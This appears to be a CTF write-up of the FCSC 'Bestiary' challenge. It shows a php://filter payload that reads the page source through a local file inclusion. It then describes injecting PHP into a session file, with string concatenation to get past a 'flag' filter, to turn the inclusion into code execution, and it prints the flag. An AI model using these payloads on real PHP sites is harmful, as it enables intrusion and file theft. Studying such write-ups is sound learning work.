On vous demande simplement de trouver le flag.

All we have to do is find the flag.

Monster

Exploit

It seems that we select the monster we want with a GET request to index.php.

Monster

Let’s see if we can exploit an LFI on the page and recover the index.php through this payload:

php://filter/convert.base64-encode/resource=index.php

LFI Filter

It works! Let’s decode the base64 output to see how the index.php looks like:

<?php
	session_save_path("sessions/");
	session_start();
	include_once('flag.php');
?>
<html>
<head>
	<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
	var monster = document.getElementById("monster").value;
	document.location.href = "index.php?monster="+monster;
}
</script>

<p>
<?php
	$monster = NULL;

	if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
		$monster = $_SESSION['monster'];
	if(isset($_GET['monster']) && !empty($_GET['monster']))
	{
		$monster = $_GET['monster'];
		$_SESSION['monster'] = $monster;
	}

	if($monster !== NULL && strpos($monster, "flag") === False)
		include($monster);
	else
		echo "Select a monster to read his description.";
?>
</p>

<select id="monster">
	<option value="beholder">Beholder</option>
	<option value="displacer_beast">Displacer Beast</option>
	<option value="mimic">Mimic</option>
	<option value="rust_monster">Rust Monster</option>
	<option value="gelatinous_cube">Gelatinous Cube</option>
	<option value="owlbear">Owlbear</option>
	<option value="lich">Lich</option>
	<option value="the_drow">The Drow</option>
	<option value="mind_flayer">Mind Flayer</option>
	<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

Ok, so we have to find a way to read the flag.php page but we have a condition that prevents us to call flag.php directly.

So there’s two ways to get access to a monster file:

  • The first one is with the monster parameter in the GET request, as we used earlier.
  • The second one is through the PHP session. If we don’t pass the GET parameter to index.php, it will use the previous one stored in the session file.

An interesting thing is that the session files are not stored at their usual location (/var/lib/php/session) but they’re stored in a directory of the website: sessions.

Thanks to this article, we see it’s possible to exploit an LFI to get an RCE.

All we have to do is inject some PHP code in our session file and call it.

So first of all, let’s create our payload to read the flag file. We have to use a concatenation of “fl” and “ag.php” if we want to bypass the strpos function.

<?php $Magnussen = file_get_contents('fl'.'ag.php'); echo $Magnussen;?>

RCE

Here’s how the session file looks like on the server:

monster|s:71:"<?php $Magnussen = file_get_contents('fl'.'ag.php'); echo $Magnussen;?>";

After injected our code in the session file, all we have to do is call it with our LFI.

Session file have the following format: sess_df2b4ce7eb4c098a3fb606e338d9b19b, we can find our id in the PHPSESSID cookie.

Flag

Here’s our flag: FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}

This challenge was probably one of my favorite. I wasn’t aware of this technique so it was great to learn about it and exploit it!

Thanks to the FCSC team, this was an awesome CTF, I’ve learned a lot and had a lot of fun. Congratulation for the organization, see you next year!